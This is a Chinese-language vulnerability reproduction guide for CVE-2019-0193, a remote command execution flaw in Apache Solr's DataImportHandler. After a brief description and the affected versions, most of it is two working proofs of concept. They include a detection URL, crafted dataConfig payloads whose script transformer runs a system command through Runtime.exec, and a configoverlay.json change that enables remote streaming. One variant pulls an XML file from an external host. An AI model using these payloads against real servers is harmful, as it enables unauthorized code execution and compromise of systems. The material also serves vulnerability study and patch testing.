(CVE-2019-0193)Apache Solr 远程命令执行漏洞¶
一、漏洞简介¶
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。
二、漏洞影响¶
Apache Solr \< 8.2.0
三、复现过程¶
poc 一 :需要目标出网,支持低版本检测¶
判断该索引库是否使用了DataImportHandler模块
-
访问
http://www.0-sec.org:8983/solr/test_0nth3way/admin/mbeans?cat=QUERY&wt=json
-
如果使用了
DataImportHandler
模块 则HTTP响应内会有:org.apache.solr.handler.dataimport.DataImportHandler
1.png
- 构造HTTP请求,远程执行代码
<!-- -->
command=full-import&verbose=false&clean=false&commit=false&debug=true&core=test_0nth3way&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream()));
var result = [];
while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}
row.put("title",result.join("\n\r"));
return row;
}
]]></script>
<document>
<entity name="entity1"
url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
processor="XPathEntityProcessor"
forEach="/RDF/item"
transformer="script:poc">
<field column="title" xpath="/RDF/item/title" />
</entity>
</document>
</dataConfig>
demo.xml
若如上github因不可抗因素失效,可自行用自己vps搭建demo.xml
<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>
2.png
poc 二 :不需要目标出网,不支持低版本检测¶
-
判断该索引库是否使用了
DataImportHandler
模块(同上) -
修改
configoverlay.json
文件中的配置,以启用远程流的相关选项 (enableStreamBody、enableRemoteStreaming) 注:某些低版本会不成功,即响应500;成功响应200
<!-- -->
{"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": true}, "set-property": {"requestDispatcher.requestParsers.enableStreamBody": true}}
- 构造HTTP请求,远程执行代码
<!-- -->
--------------------------aceb88c2159f183f
Content-Disposition: form-data; name="stream.body"
<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>
--------------------------aceb88c2159f183f--
注:其中dataConfig的值,URLencode之前为以下字符串
<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />
<script><![CDATA[
function poc(row){
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream()));
var result = [];
while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}
row.put("title",result.join("\n\r"));
return row;
}
]]></script>
<document>
<entity
stream="true"
name="entity1"
datasource="streamsrc1"
processor="XPathEntityProcessor"
rootEntity="true"
forEach="/RDF/item"
transformer="script:poc">
<field column="title" xpath="/RDF/item/title" />
</entity>
</document>
</dataConfig>
3.png